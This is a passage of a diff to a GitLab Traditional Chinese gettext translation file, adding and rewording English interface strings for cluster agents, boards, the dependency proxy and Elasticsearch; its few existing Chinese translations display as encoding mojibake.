+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "密碼更新æˆåŠŸå¾Œï¼Œæ‚¨å°‡è¢«é‡æ–°å°Žå‘至登入é é¢ã€‚"
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "密碼更新æˆåŠŸå¾Œï¼Œæ‚¨å°‡è¢«é‡æ–°å°Žå‘到登入é é¢ï¼Œæ‚¨å¯ä»¥ç”¨æ–°å¯†ç¢¼é‡æ–°ç™»å…¥ã€‚"
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "空 GitLab 使用者欄ä½å°‡åœ¨æ‰€æœ‰è­°é¡ŒåŠç•™è¨€çš„æ述中加入 FogBugz 使用者的全å(例如「由 John Smithã€ï¼‰ã€‚其還會與專案建立者關è¯å’Œï¼æˆ–分é…這些議題或留言。"
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "發生錯誤"
@@ -3439,6 +3480,9 @@ msgstr "抓å–下拉資料時發生錯誤。"
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "é è¦½ blob 時發生錯誤"
@@ -3598,6 +3642,9 @@ msgstr "載入所有檔案時發生錯誤。"
msgid "An error occurred while loading chart data"
msgstr "載入圖表資料時發生錯誤"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "載入æ交簽å時發生錯誤"
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr "分æžç¶²é æ‡‰ç”¨ç¨‹å¼çš„審閱版本。"
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr "確定è¦åˆªé™¤æ­¤%{typeOfComment}嗎?"
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "您確定è¦åˆªé™¤æ­¤è£ç½®å—Žï¼Ÿæ­¤å‹•ä½œç„¡æ³•å¾©åŽŸã€‚"
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,10 +6432,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6391,9 +6486,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
